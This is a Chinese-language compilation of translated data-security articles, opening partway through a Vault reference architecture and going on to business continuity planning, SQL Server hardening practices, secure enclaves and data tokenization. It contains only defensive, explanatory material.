这依赖于操作系统DNS解析系统,并且可以将请求转发给Consul以获得实际的IP地址响应。 该操作对于遗留应用程序可以是完全透明的,并且可以像典型的DNS解析操作一样操作。
使用外部负载均衡器进行负载均衡
还支持外部负载平衡器,它们将放置在Vault群集的前面,并将轮询特定的Vault URL以检测活动节点并相应地路由流量。
具有以下URL的活动节点的HTTP请求将以200状态响应:http:// <Vault Node URL>:8200 / v1 / sys / health
以下是来自HAProxy的示例配置块,用于说明:
listen vault bind 0.0.0.0:80 balance roundrobin option httpchk GET /v1/sys/health server vault1 192.168.33.10:8200 check server vault2 192.168.33.11:8200 check server vault3 192.168.33.12:8200 check
注意,当使用软件负载平衡器时,Consul(带有consul-template)可以生成上述块。 当负载均衡器是Nginx,HAProxy或Apache等软件时,可能会出现这种情况。
上述HAProxy块的示例Consul模板:
listen vault bind 0.0.0.0:8200 balance roundrobin option httpchk GET /v1/sys/health{{range service "vault"}} server {{.Node}} {{.Address}}:{{.Port}} check{{end}}
客户端IP地址处理
有两种支持的方法用于处理代理或负载均衡器后面的客户端IP寻址; X-Forwarded-For Headers和PROXY v1。 两者都需要受信任的负载均衡器,并且需要IP地址白名单以遵守安全最佳实践。
高可用性
Vault群集是一个数据中心内高度可用的部署单元。 推荐的方法是三个带有Consul存储后端的Vault服务器。 使用此配置,在Vault服务器中断期间,无需人工干预即可立即处理故障转移。
要了解有关在HA模式下设置Vault服务器的更多信息,请阅读带有Consul指南的Vault HA。
具有性能备用节点的高可用性和跨数据中心的数据位置需要Vault Enterprise。
多个数据中心的部署拓扑
Vault复制
仅限企业:Vault复制功能是Vault Enterprise的一部分。
HashiCorp Vault Enterprise提供两种复制模式,性能和灾难恢复。 Vault文档提供了有关Vault Enterprise中复制功能的更多详细信息。
性能复制
Vault性能复制允许跨多个站点进行秘密管理。 秘密,身份验证方法,授权策略和其他详细信息将被复制为活动且可在多个位置使用。
有关过滤掉跨区域复制的秘密引擎的信息,请参阅Vault Mount过滤器指南。
灾难恢复复制
Vault灾难恢复复制可确保备用Vault群集与活动的Vault群集保持同步。 这种复制模式包括诸如临时认证令牌,基于时间的令牌信息以及令牌使用数据之类的数据。 这为在防止短暂运行数据丢失引起最大关注的环境中提供了积极的恢复点目标。
跨区域灾难恢复
如果您的灾难恢复策略是计划丢失整个数据中心,则下图说明了可能的复制方案。
在这种情况下,如果区域A中的Vault群集出现故障并且您将区域B中的DR群集提升为新的主群集,则您的应用程序将需要从区域B中的Vault群集读取和写入机密。这可能会也可能不会引发 您的应用程序的问题,但您需要在规划期间考虑到这一点。
区域内灾难恢复
如果您的灾难恢复策略是计划丢失群集而不是整个数据中心,则下图说明了可能的复制方案。
有关其他信息,请参阅Vault灾难恢复设置指南。
腐败或破坏性灾难恢复
防止在云环境中更普遍的另一种常见方案是提供非常高水平的内在弹性,可能是数据和配置的有目的或意外损坏,或者是云帐户控制的丢失。 Vault的DR Replication旨在复制实时数据,这会传播故意或意外的数据损坏或删除。为了防止这些可能性,您应该备份Vault的存储后端。这通过Consul Snapshot功能得到支持,该功能可以自动进行常规归档备份。可以从Consul快照重新补充冷站点或新基础架构。
有关Consul快照的详细信息,请参阅联机文档。
复制说明
复制集中的群集数量没有设置限制。目前最大的部署在30多个集群范围内。
Performance复制集中的任何群集都可以充当灾难恢复主群集。
Performance复制集中的集群还可以复制到多个Disaster Recovery辅助集群。
虽然Vault群集可以拥有复制角色(或多个角色),但在基础架构方面不需要特殊考虑,并且群集可以承担(或被提升)到另一个角色。与安装过滤器和HSM使用相关的特殊情况可能会限制角色的交换,但这些基于特定的组织配置。
与Unseal proxy_protocol_behavior相关的注意事项
使用与HSM设备集成的Vault集群进行复制以实现自动开封操作具有一些在规划阶段应该理解的细节。
如果性能主群集使用HSM,则该复制集中的所有其他群集也必须使用HSM。
如果性能主群集不使用HSM(使用Shamir机密共享方法),则可以混合该复制集内的群集,以便某些群集可以使用HSM,其他群集可以使用Shamir。
为了便于讨论,云自动开封功能被视为HSM。
其他参考文献
Vault体系结构文档介绍了每个Vault组件
要将Vault与现有LDAP服务器集成,请参阅LDAP验证方法文档
请参阅AppRole Pull Authentication指南,以编程方式为计算机或应用程序生成令牌
无论位于何处,Consul都是运行弹性Vault群集的重要组成部分。有关详细信息,请参阅在线Consul文档。
下一步
阅读生产强化,了解Vault的生产强化部署的最佳实践。
阅读部署指南,了解安装和配置单个HashiCorp Vault群集所需的步骤。
原文:https://sethbergman.tech/vault-reference-architecture/
本文:https://pub.intelligentx.net/vault-reference-architecture
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 264 次浏览
【数据安全】业务连续性计划(BCP)
视频号
微信公众号
知识星球
您的灾难恢复计划应该是组织业务连续性计划(BCP)的一个子集,而不应该是一个独立的文档。如果由于灾难对除工作负载之外的业务要素的影响而无法实现工作负载的业务目标,那么维护用于恢复工作负载的积极灾难恢复目标是没有意义的。例如,地震可能会阻止您运输在电子商务应用程序上购买的产品–即使有效的灾难恢复使您的工作负载正常运行,您的BCP也需要满足运输需求。您的灾难恢复战略应基于业务需求、优先级和环境。
业务影响分析和风险评估
业务影响分析应量化工作负载中断的业务影响。它应该确定无法使用您的工作负载对内部和外部客户的影响以及对业务的影响。分析应有助于确定工作负载需要多长时间可用,以及可以容忍多少数据丢失。然而,重要的是要注意,不应孤立地制定恢复目标;中断概率和恢复成本是有助于为工作负载提供灾难恢复的业务价值的关键因素。
业务影响可能取决于时间。您可能需要考虑将其纳入灾难恢复计划中。例如,在每个人都拿到工资之前,工资系统的中断可能会对业务产生非常大的影响,但在每个人已经拿到工资之后,可能会产生很小的影响。
对灾害类型和地理影响的风险评估,以及工作负载的技术实施概述,将确定每种灾害发生中断的概率。
对于高度关键的工作负载,您可以考虑在多个区域部署基础架构,并在适当的位置进行数据复制和连续备份,以将业务影响降至最低。对于不太关键的工作负载,一个有效的策略可能是根本不进行任何灾难恢复。对于某些灾难场景,根据灾难发生的概率低,不制定任何灾难恢复策略作为明智的决策也是有效的。请记住,AWS区域内的可用性区域已经设计好了它们之间的距离,并仔细规划了位置,这样,最常见的灾难应该只影响一个区域,而不会影响其他区域。因此,AWS区域内的多AZ架构可能已经满足了您的许多风险缓解需求。
应评估灾难恢复选项的成本,以确保灾难恢复策略在考虑到业务影响和风险的情况下提供正确的业务价值水平。
利用所有这些信息,您可以记录不同灾难场景和相关恢复选项的威胁、风险、影响和成本。这些信息应用于确定每个工作负载的恢复目标。
恢复目标(RTO和RPO)
在创建灾难恢复(DR)战略时,组织通常会规划恢复时间目标(RTO)和恢复点目标(RPO)。
图3-恢复目标
恢复时间目标(RTO)是服务中断和恢复服务之间的最大可接受延迟。该目标确定了服务不可用时的可接受时间窗口,并由组织定义。
本文大致讨论了四种灾难恢复策略:备份和恢复、引导灯( pilot light)、热备用(warm standby)和多站点活动/活动(multi-site active/active)(请参阅云中的灾难恢复选项)。在下图中,业务部门已经确定了其最大允许RTO以及在服务恢复策略上可以花费的金额限制。考虑到业务目标,灾难恢复策略Pilot Light或Warm Standby将同时满足RTO和成本标准。
图4-恢复时间目标
恢复点目标(RPO)是自上一个数据恢复点以来可接受的最长时间。该目标确定了在最后一个恢复点和服务中断之间的数据可接受损失,并由组织定义。
在下图中,业务部门确定了其允许的最大RPO,以及他们在数据恢复策略上可以花费的资金限制。在这四种灾难恢复策略中,“引燃光”或“热备用”灾难恢复策略都符合RPO和成本标准。
图5-恢复点目标
笔记
如果恢复策略的成本高于故障或损失的成本,则除非存在第二驱动因素(如监管要求),否则不应实施恢复选项。在进行评估时,考虑不同成本的恢复策略。
- 134 次浏览
【数据安全】五个SQL Server 最佳实践
你一直在电视新闻,印刷杂志和在线文章中听到它......一个新的漏洞,一个新的攻击,一个新的威胁,一个新的漏洞。
但是,您是否知道超过97%的数据泄露是由于SQL注入的帮助或完成的?
这意味着您的数据的最大漏洞不是来自新的和未知的,而是来自于未能遵循数据库安全性中经过验证的最佳实践。
那么,什么是SQL以及为什么它容易受到攻击?
简而言之,SQL Server是一种关系数据库管理系统(RDBMS),它依赖结构化查询语言(SQL)与应用程序交换数据。最大的SQL提供商是微软,它目前提供六个版本,这是今年的最新版本。 SQL Server的主要功能是在应用程序之间存储,接收和共享数据。这些应用程序可以通过云虚拟连接到服务器,也可以通过内部共享计算机网络连接。
2013年,Target直接了解到,当一个巨大的漏洞影响了超过4000万的客户及其借记卡和信用卡信息时,有害的SQL Server做法是多么糟糕。可悲的是,Target只是数百个每年遭受破坏的数据库之一。
为了使您和您的公司免受同样代价高昂的破坏,您应立即实施以下五种最佳实践:(1)在SQL本身之外进行身份验证,(2)删除不必要的用户,(3)限制权限,(4)监视失败登录尝试; (5)禁用未使用的功能或浏览器服务。我们来看看每一个。
1.在SQL本身之外进行身份验证
SQL Server的本机身份验证(称为“混合模式”)会带来巨大的安全风险,尤其是其对暴力攻击的脆弱性。今天,黑客暴力通过帐户强制执行可以每秒生成数百万个密码。不幸的是,SQL Server本身没有配备登录限制;因此,黑客可以在不被锁定的情况下尝试数百万个密码。而且,当SQL Server处理身份验证凭据(用户名和密码)时,不存在识别攻击的方法。因此,第一个最佳实践是在混合模式下避免SQL Server身份验证,并使用Windows身份验证连接到SQL Server。
Windows身份验证提供了以下主要优势:与SQL Server身份验证(Microsoft不提供支持)相比,Microsoft直接支持它,它可以防止和识别强力尝试,并将组织的帐户管理集中到Active Directory中。
2.删除不必要的用户
在数据库中,不应该同等地向所有用户授予访问权限,而是将其限制为与其工作相关的必要用户。将此视为“需要知道”的公式。数据库备份文件夹也是如此,其中应该向需要访问权限的用户授予权限。在用户级采用宽松,一刀切的访问规则会导致数据处理不当,删除关键文件以及滥用敏感信息。此外,删除离开公司的用户,对于消除心怀不满的员工的恶意活动至关重要。
3.限制权限
安装或运行SQL Server时,您将在三个系统定义的帐户之间进行默认选择:本地系统,网络服务和本地服务。这些帐户定义了您要运行的服务的权限(即权限)。而不是选择这三个系统定义的帐户之一,创建一个具有最小权限的本地域帐户。识别权限可能很困难,因此您应该根据员工需求再次限制权限,而不是为每个帐户做出假设。由于某些服务需要某些权限,因此您可能需要为每个服务创建单独的帐户。此外,只应为SQL Server帐户管理员提供数据,备份目录和读/写活动的完全授权。
4.监控登录失败
与我们的第一个最佳实践密切相关 - 在SQL本身之外进行身份验证 - 这个最佳实践也是关于防止暴力攻击。为此,您必须能够通过在Windows SQL Server身份验证中启用登录监控来审核失败的登录。启用后,失败并成功登录将记录在SQL Server错误日志中。有了这些信息,您可以根据正常的数据库行为创建更准确的用户和权限规则。通过扩展,您还可以识别异常行为并在威胁发生时对其进行响应。
5.禁用浏览器服务和未使用的功能
我们的最后一个最佳做法是使用SQL Server配置管理器禁用未使用的服务,或者如果您使用的是2008或更高版本的SQL Server,则通过基于策略的管理功能。应禁用XP_CMDSHELL,OLE AUTOMATION,OPENROWSET和OPENDATASET等功能,以减少表面区域攻击。
此外,SQL Server支持四种类型的协议:共享内存,命名管道,TCP / IP和VIA。为了进一步降低安全风险和损害,您应该只使用这些协议中的最低限度。与用户和权限一样,这意味着禁用未使用的所有功能或服务以及将协议保持在最低限度。
超越基本SQL最佳实践
刚才提到的五个实践将为您提供保护SQL Server安全的途径。除了基础知识之外,还需要其他最佳实践。
- 其中一种额外做法是禁用SA帐户以防止攻击者使用默认管理员帐户。
- 您可能想要选择的另一种做法是强制执行复杂的密码和密码更改策略;
- 实施密码短语而不是密码会使您不那么容易受到攻击,实际上员工可以更容易地跟踪。
- 最后,请始终记住使用Windows身份验证模式并避免创建SQL Server登录;
- 相反,使用Active Directory来控制对组的访问权限。
但是,您是否知道超过97%的数据泄露是由于SQL注入的帮助或完成的?虽然数据库安全性无法处理所有形式的SQL注入,但应该考虑使用最先进的Web应用程序防火墙(WAF)来防止SQL注入。
原文:https://www.imperva.com/blog/five-sql-best-practices/
本文:http://pub.intelligentx.net/five-sql-server-best-practices
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 241 次浏览
【数据安全】什么是安全飞地(Secure Enclave)?
安全飞地:默认情况下确保数据安全的强大方法
安全飞地:默认情况下确保数据安全的强大方法
执行摘要
企业IT的一个主要威胁已经存在于组织内部:内部人员。虽然大多数企业已经采取措施保护系统不受最终用户的影响,但有资格的内部人员可以不受限制地访问更为危险,这不仅限于员工。第三方,包括云提供商的员工,往往是内部违规的罪魁祸首。民族国家和其他不好的行为体也可以提供让他们看起来像内部人的凭证。
当前防止IT内部威胁的方法和技术具有严重的局限性。现在,几乎每个主要硬件和云供应商都在实施一种新方法。安全飞地提供了一个全面、更安全的解决方案,保护数据、应用程序和存储免受内部人员和第三方的影响,无论是在私有云还是公共云中。
什么是安全飞地?
安全的enclave在每台服务器上提供CPU硬件级隔离和内存加密,将应用程序代码和数据与任何具有特权的人隔离,并加密其内存。通过附加软件,安全飞地可以实现存储和网络数据的加密,从而实现简单的全栈安全。英特尔和AMD的所有新CPU都内置了安全enclave硬件支持。
内部人士:没有人愿意谈论的威胁
到目前为止,大多数网络安全工作都集中在控制外部人员或最终用户的网络访问。然而,最大的危害可能来自内部人员系统管理员、网络架构师、系统分析师、开发人员和站点可靠性工程师,他们通常有权访问数据、网络和应用程序。他们可能滥用或滥用其访问权限,窃取或损坏敏感数据。由于安全协议不严格,也可能无意中发生违规。据估计,所有违规行为中有43%是由内部人员意外或故意造成的。1
可能最臭名昭著的故意内幕违规案例之一是爱德华·斯诺登(Edward Snowden),他是博思艾伦公司(Booz Allen)的承包商,与国家安全局合作。2013年,斯诺登窃取了近200万份情报文件,这被认为是美国历史上最大的盗窃案之一。作为系统管理员和架构师,斯诺登可以无限制地访问NSA系统,他还可以访问其他网站的文件,包括其他国家的文件。2入侵继续发生。2019年,两名推特员工被指控通过访问使用推特平台的沙特阿拉伯持不同政见者的信息为沙特阿拉伯进行间谍活动。3
即使组织在内部保护自己的系统,第三方入侵的威胁仍然存在。访问您的IT数据和网络的第三方越多,违规风险越高。其中一个更为广为人知的早期违规行为涉及利用一家经批准的暖通空调供应商的登录对目标公司的销售点系统进行黑客攻击,导致4000万张借记卡和信用卡数据被盗。
坏演员提供的证书使他们看起来像是局内人。万豪酒店透露,未经授权的黑客攻击已经暴露了3.83亿名客人的个人信息,而且黑客攻击已经发生了近五年未被发现。该公司指责中国黑客造成了这一漏洞。在高风险地区,政府机构也可能会越界。敌对国家行为体可能正在使用硬件攻击,而这些攻击在被盗信息被使用数月或数年后才能被检测到。
向基于云计算的转移只会加剧问题,因为IT云平台提供商对能够访问您的文件的人员的责任和控制有限。2019年初,Capital One的数据泄露暴露了超过1亿银行客户和申请人的个人数据,包括社会保障号码、信用评分、出生日期和关联银行账号。肇事者是一名前云员工,她在网上吹嘘自己的所作所为。
这些威胁的代价是巨大的。除了数百万美元的直接财务损失和对股票价格的负面影响外,披露商业秘密可能会产生长期影响。由于客户对公司保护个人信息的能力失去信心,商业信誉受到打击。如果不遵守隐私法规,如欧洲的GDPR或加州消费者隐私法案(CCPA),或某些行业存在重大监管影响,可能会被罚款。万豪酒店被处以1.23亿美元的GDPR罚款。英国航空公司因披露50万名客户的付款和个人信息而被罚款,数额更大:2.3亿美元。
目前的努力不起作用
在网络安全上投入了这么多的注意力和资金,为什么这仍然是一个严重的问题?
迄今为止,网络安全解决方案一直专注于检测黑客和入侵。虽然检测技术不断改进,但问题是检测是在事后进行的。违规行为可能在数月或数年后才会被发现(就像万豪酒店的情况一样,多年来,入侵行为一直未被发现)。到那时,损害很可能已经发生了。
检测通常是不完整的。攻击者仍然可以利用零日漏洞获取访问权限并规避软件防御。基础设施内部人员具有如此高的访问级别,他们可以删除检测日志并绕过任何软件安全机制。可以访问主机内存的系统管理员或程序可以删除日志、绕过安全审计并访问静态数据(Capital One攻击似乎就是这样)。
静态数据的加密也不是答案。应用程序和数据仍然必须解密才能进行运行时处理。此外,IT内部人员可以访问加密密钥;智能系统管理员可以删除审核日志。容器或虚拟机中的安全性不足会导致额外的风险。
我们需要的是一种在不限制IT内部人员充分履行职责的情况下,使安全自动化的方法。应该有一种方法,通过将IT职责与企业数据和网络的访问分离,实现安全的生产力。
最近的选项尚未准备就绪
在过去几年中,保护供应商提供了许多新选项。其中大多数都是点式解决方案,它们既不是端到端的,也不是准备好在企业范围内部署的。加密数据和程序是零碎和复杂的。因此,这些产品的实施往往很复杂,或者需要对正常的IT运营造成严重的中断。
还有另一个重要的限制。单点产品仅保护静态数据或网络上未使用的数据。在内存中运行应用程序以明文形式公开数据、主密钥、加密密钥和其他机密。特权访问管理(PAM)仅保护凭据。任何拥有授权凭据的人仍然可以查看数据和应用程序。
所有这些选项都需要额外的不必要的软件复杂性层,从而降低了生产率。挑战在于如何在安全性和隐私性与可用性和易实现性之间取得平衡。
预防而不是检测
在当今的环境中,企业永远无法确保及时检测和处理所有威胁。转向预防将重点从追踪已经发生的恶意行为转向维护安全资源和网络。
为确保企业安全,仅保护数据和应用程序是不够的。内存和网络也需要保护。这种保护不仅应包括本地应用程序和数据,还应包括在私有和公共云中运行的操作。虽然今天的方法保护静止和传输中的数据,但使用中的数据尚未得到适当处理,因为它是最复杂和最难保护的状态。
机密计算联盟成立于2019年,由Linux基金会赞助,旨在解决这一问题。该联盟的目标是定义和促进保密计算的采用,特别是保护系统内存中的敏感数据。20多位行业领袖加入了该集团,包括阿里巴巴、安居纳、ARM、百度、Facebook、谷歌云、IBM、英特尔、微软、甲骨文、红帽、腾讯和VMware。5
安全飞地提供高级别硬件安全
安全飞地(也称为可信执行环境或TEE)是机密计算的核心。安全飞地是嵌入新CPU中的一组安全相关指令代码。它们保护使用中的数据,因为enclave仅在CPU内实时解密,然后仅对enclave本身内运行的代码和数据进行解密。
Intel推出的Software Guard Extensions(SGX)6安全外壳基于硬件级加密内存隔离。AMD现在通过内置于Epyc中的SEV技术提供类似的功能。到2020年底,几乎所有服务器和云平台都将支持安全的飞地,包括Intel、AMD、Amazon AWS(及其新的Nitro enclaves)7、Microsoft Azure8、VMware、Google、Docker和Red Hat。9
在安全的飞地中,应用程序在与主机隔离的环境中运行。内存与机器上的任何其他东西(包括操作系统)完全隔离。私钥在硬件级别进行硬编码。一个称为认证的过程允许飞盘对其内部运行的硬件进行认证,并向远程方证明飞盘内存的完整性。安全的飞地可以简单有效地在本地、跨网络和云中保护应用程序、数据和存储。
在安全的飞地内运行时,任何其他实体都无法访问应用程序代码和数据。对系统具有root或物理访问权限的内部人员无权访问内存。甚至来宾操作系统、虚拟机监控程序或主机操作系统上的特权用户也会被阻止。整合安全堆栈可以降低复杂性,从而降低成本。
企业安全的新水平
安全的飞地为企业IT操作提供了更高级别的安全性。有了安全的飞地,IT内部人员就无法采取恶意行动,但仍能做好自己的工作。该过程对IT用户完全透明。
有了安全的飞地,企业也可以免受零日攻击。目前,“已知未知”允许攻击者在执行客户端任务时渗透操作系统。然而,即使操作系统、虚拟机监控程序或容器软件遭到破坏,在安全飞地内运行的应用程序也会在任何级别的权限上与主机操作系统隔离。这允许真正的数据分离和隔离。
访问数据和系统的第三方越多,风险越高。私有托管的云和数据中心为恶意内部人员提供了复制敏感数据或窃取驱动器的可能性。在云中,敏感数据在被基于云的软件应用程序使用时不受保护。安全的飞地解决了这些关键的操作问题,而不需要严格的安全区域,这会导致服务器基础架构配置过度或利用不足。优化服务器利用率有助于降低基础架构和运营成本。
领先的数据中心公司Equinix表示,网络安全威胁的增加是影响数字信息基础设施的一个关键问题。2020年,Equinix预测:
“新的数据处理能力,如多方安全计算、完全同态加密(在加密数据上操作)和安全飞地(即使云运营商也无法窥视云消费者执行的代码),将走向主流,并将允许企业以安全的方式运行其计算。”10
安全封装防止关键威胁
作为一名CISO,您的企业面临多种威胁——从被盗数据到系统管理员或SRE的未经授权访问。安全封地可以通过一种整合的、易于实施的方法帮助您防止各种威胁。
采纳障碍
到目前为止,实施安全飞地既复杂又昂贵。必须对应用程序进行大量重写才能使用安全的enclave,并且经常需要对IT流程进行更改。此外,每个芯片供应商都有自己的软件开发工具包(SDK)。这意味着实现需要大量的设计、开发和测试资源,这使得过程既昂贵又耗时。
在这个领域有几种开源替代方案,包括Asylo、open Enclaves和Intel的SGX。然而,这些也需要重新编译每个应用程序并使用SDK。此外,这些产品目前不提供企业级所需的支持或部署功能,如灾难恢复、高可用性和云环境中的扩展。
解决这些问题的新解决方案消除了软件重写或实施新流程的需要。有关更多详细信息,请参阅安朱纳白皮书:为什么安朱纳:防止内部威胁。
下一步:立即准备
保护飞地的行动势头越来越大。在未来几年内,安全飞地将成为企业的标准安全技术。随着多个计算环境(从本地数据中心到公共云到边缘)的使用越来越多,现在是准备为您的操作实施这一级别的保护的时候了。
向您的团队提出以下问题:
- 如何保护公共云中的敏感应用程序?
- 您的云提供商正在采取哪些措施来应对这一持续的内部威胁?
- 您有第三方风险敞口吗?如何在不受信任的地区保护您的应用程序和数据?
- 您是否担心政府传票可能要求访问客户数据?
- 您是否准备重新编写应用程序以利用安全飞地?
- 拥有一个能够自动将应用程序移动到安全环境中的解决方案有多重要?
要了解Anjuna如何在不需要重写软件的情况下简单直接地部署安全飞地,请参阅白皮书《防止内部威胁》。
参考资料
- 1https://www.infosecurity-magazine.com/news/insider-threats-reponsible-for-43/
- 2https://www.bloomberg.com/news/articles/2014-01-09/pentagon-finds-snowden-took-1-7-million-files-rogers-says
- 3https://www.washingtonpost.com/national-security/former-twitter-employees-charged-with-spying-for-saudi-arabia-by-digging-into-the-accounts-of-kingdom-critics/2019/11/06/2e9593da-00a0-11ea-8bab-0fc209e065a8_story.html
- 4https://www.gartner.com/smarterwithgartner/gartner-top-7-security-and-risk-trends-for-2019/
- 5https://confidentialcomputing.io
- 6https://software.intel.com/en-us/sgx
- 7https://aws.amazon.com/ec2/nitro/
- 8https://azure.microsoft.com/en-us/solutions/confidential-compute/
- 9https://www.ibm.com/cloud/blog/data-use-protection-ibm-cloud-using-intel-sgx?mhsrc=ibmsearch_a&mhq=secure%20enclaves
- 10https://www.equinix.com/newsroom/press-releases/pr/123853/Top--Technology-Trends-to-Impact-the-Digital-Infrastructure-Landscape-in-/
- 745 次浏览
【数据安全】什么是数据标记化?市场规模、用例和公司
数据正在推动全球经济。从初创企业到企业,整个工业部门的组织都希望完善其数据管理模型,标记化是他们的一个重要关注领域。在接下来的研究讨论中,我们将阐述数据标记化的范围和意义,它在现代企业中的作用,以及最终在行业中处于领先地位的关键公司。
标记化定义
标记化是指将高度敏感数据转换为非敏感替代值(称为标记)的过程。令牌不是一个真实的、可利用的值,而只是一个引用,一旦放入令牌化系统进行解码,它就可以连接回机密、敏感数据。
什么是数据标记化(Tokenization)和数据去标记化?
标记化是一种用非关键数据交换关键数据的特定技术。该非敏感数据(称为令牌)没有可解释的值,仅是连接回敏感信息的标识符,因此用户无法访问信息。
标记化的主要目的是保护原始数据不被暴露,并保护其价值。标记化的过程与加密完全不同,在加密中,易受影响的数据被更改和保存,并且在任何情况下都不允许将其用于组织目的。
数据标记化有助于加密数据,从而保持数据安全。例如,客户使用信用卡或借记卡,并打算在网上购物。这个“东西”可以是公司提供的产品或服务。在这里,即使是管理层人员也无法获得信用卡信息,因为信用卡信息以加密代码提供。此外,实时信息和加密信息之间不存在连接。
理解去标记化(De-Tokenization)
这与所谓的标记化正好相反。它需要令牌化发生的原始系统,因为不可能在任何其他桌面或系统上获得确切的数字或令牌。如果要执行一次性在线交易,则无需为未来交易存储数据。相反,如果交易要进行多次,则必须进行加密,以便任何人都无法访问信息。
标记化与加密的比较
符号化
- 使用替代的随机值
- 以随机形式在数据库中保存映射
- 这种方法是不能推翻的
- 它保护高优先级数据,如卡号等。它保护互联网上的信息。对于卡现付款( card-present payment)至关重要。
加密
- 将明文转换为密文
- 扰乱信息,以便政权稍后使用
- 这种方法是可以推翻的
- 用于在线和离线商店的存档卡(card on file )和定期付款(recurring payment)方式。
加密改变了整个信息的模式,因此将其更改回来将是一项艰巨的任务,但这也可以在需要时完成。的确,这是一项艰巨的任务,但并非不可能。简单易懂的算法永远无法实现加密,因此需要复杂的算法。
当我们说加密可以在那里逆转时,一个事实是标记化永远不会被推翻。在这种情况下,即使黑客试图入侵信息,他们也永远无法访问信息。这些信息不是以算法的形式,而是将数据转换为无意义的占位符,这些占位符永远无法更改。
如果我们必须强调标记化和加密之间的一些差异,那么我们需要标记以下几点:-
- 标记化将数据转换为一些随机代码,不可能反转,而加密可以由专家反转。
- 卡号、安全号等是令牌化的实例。另一方面,文件和电子邮件被加密。
- 通过电话支付(Payments over the phone)或亲自进行的交易是加密数据的示例,如果我们看到令牌化的用例,则它们是文件卡支付、定期支付和在不同位置存储客户数据。
- 令牌化中的安全数据保留在锁和加密中,关键数据进入加密算法。对于高安全性,数据标记化是最好的,但如果可能出现任何解密的可能性,则可以使用加密,这里要提到的是,即使加密破坏也不是一个简单的过程。
企业家的PCI范围可以减少PCI PA DSS的业务范围。如果我们讨论一个公共元素,那么这两个元素都消除了供应商的PCI PA DSS范围。
令牌化情况下的数据可以很容易地使用,保存在“令牌库”中,并进行加密,该库被锁定,必要时可以解密。在易于猜测实际值的情况下,标记化可能是一个糟糕的选择,这就是为什么需要使用这两种方法的专家知识。从而可以容易地作出审慎的决定。
市场规模、增长和趋势
标记化统计
- 统计 值
- 当前市场规模(2022年): 25亿美元
- 2026年的市场规模(预计):56亿美元
- 数据泄露的平均成本: 424万美元
- 年增长率 : 19%
- 2030年(预计)市场规模:92亿美元+
数据符号化与市场统计
根据《市场与市场报告》,全球市场已从2021的23亿美元飙升至2026年的56亿美元,复合年增长率为19%。
有几个因素将以猖獗的速度提高代币化的效果和传播,如下所示:
因素1:成本效益高的云的兴起
基于云的令牌化是一种将敏感数据交换为称为令牌的不可逆、非敏感占位符,并将原始敏感数据安全存储在组织内部系统之外的方法。
它可以比传统的本地令牌化更便宜,更易于集成。它还通过从数据环境中删除敏感数据,进一步降低了组织的风险和合规范围。
此外,通过使用格式和/或长度保留标记作为原始敏感数据的占位符,企业可以在不牺牲其实用性或当前业务流程灵活性的情况下保护数据。
因素2:非接触式支付的兴起
关键因素是现在需要非接触式支付。由于新冠疫情,人们希望交换流动性货币而不是货币。
该方法还消除了对实际存储过程的要求。不需要保存信用卡和借记卡信息,这种流动资金可以帮助很多。
需要非接触式支付,以拯救人类免受新冠肺炎等流行病的传播。
有趣的事实:根据研究与市场,BFSI拥有巨大的市场份额,未来几年甚至会如此。在垂直交易中,有各种各样的交易,它们引诱网络罪犯。BFSI交易对于罪犯来说是一个迷人的地方。根据预测,基于API的段有助于生成不可逆的代码。它揭示了对标记化的日益增长的需求。
因素3:数据泄露的增加
犯罪分子以接受信用卡和借记卡的企业为目标,因为支付信息中有丰富的情报。标记化有助于保护企业免受数据盗窃的负面财务影响。即使在发生漏洞的情况下,有价值的个人数据也根本无法窃取。
信用卡代币化有助于在线企业提高数据安全性,从数据捕获到存储,因为它消除了POS机和内部系统中信用卡号的实际存储。
欺诈活动和数据泄露正在吸引每个组织的注意。将数据暴露给黑客的风险与日俱增,因此需要采用适当的防止数据的方法进行检查。增加数据泄露的风险可以促进代币化市场。
IBM最近的一份报告发现,在同一时间段内,数据泄露的平均成本上升了10%,从386万美元上升到424万美元。有趣的是,远程工作和疫情带来的数字化转型使数据泄露的总成本平均增加了107万美元。
使用数据产品实现标记化
以前,数据标记化解决方案将业务合作伙伴数据存储在集中数据库中。这样一个共同的失败点是一个巨大的风险。正如已经详细讨论的,Web 3.0,分散数据存储时代确保了数据产品计划的更大范围,该计划将加密和标记化数据集分发到数百万个微数据库中。领先的数据管理结构K2View已成功实施了该方法。Fabric为每个业务合作伙伴专用一个微数据库,从而降低违规风险,同时确保合规性。
此外,K2View数据产品为多个操作用例实时标记数据。这也适用于批量分析工作负载。不容错过的是,它们保留了格式,并在整个数据环境中保持了数据的完整性。实时
用例和限制
4数据标记化用例
如上所述,在标记化系统之外,标记化不能逆转为其原始形式。这确保了数据机密性的端到端保护,从而跨流程驱动多个用例。最常见的用例是支付代币化,它推动了web 3.0各种应用程序的数字资产交易,例如与区块链相关的应用程序。其他包括:
1) 历史数据的符号化
在许多公司中,数据是存储的,这些数据没有用处,但可能会被误用。历史数据,如姓氏、信用卡信息和与个人医疗保健相关的价值等,因此如果要进行分析,那么也可以在没有此类信息的情况下进行分析。算法可以用来表示特定的数据,这是最简单和最安全的方法。
2) 开发和QA环境中的标记化
标记化是一种为软件开发人员和测试人员提供数据格式和连续性所需信息的方法。有趣的是,实际数据并没有公开,因为它是以隐藏形式提供的。
真实值永远不可见,因为它们在被传输到系统之前被代币替代,并且关联也得到了很好的维护。而在加密中,数据的维度保持原样。
通过这种软件开发和质量保证数据,您消除了这些系统的损坏风险,并消除了数据丢失和质量保证团队对数据丢失的怀疑。
标记化有助于分析增长和质量保证环境的一致数据。风险在于披露客户相关数据,因为公司无法显示实际价值。IT部门可以开发一种方法来象征性地显示数据,以保持机密性。
3) BI的标记化
商业智能和查询,即BI,是在很大程度上使用标记化的重要场所。IT部门提供一些隐藏的报告,并为用户的利益创建这些报告,用户可以根据这些报告分析当前的趋势,如果以简单的形式给出,则可以增加责任和任务,从而使IT部门更负责任,只是数据不能直接公开,只有获得相关信息。
总体而言,代币化的好处是不可估量的,并将在多个组织中谨慎和广泛地使用,以保护用户的隐私,这些用户显示了对商业组织的信任,毫无疑问,未来是绿色的。
4) 简化数据仓库和湖泊的法规遵从性
在传统方法中,集中式数据仓库(如仓库和湖泊)接收和存储来自多个源的数据,这些数据可以是结构化和非结构化格式。这使得按照法规遵从性规范实施数据保护变得复杂。标记化解决了这个问题。它使您能够将原始PII与湖泊和仓库分开。这有助于降低违反任何合规准则的风险。
数据标记化限制
作为一种安全协议,它使数据管理基础设施复杂化。此外,它仍然只有数量有限的支付处理程序支持,因此您可能不得不使用可能不是您首选的支付处理工具。
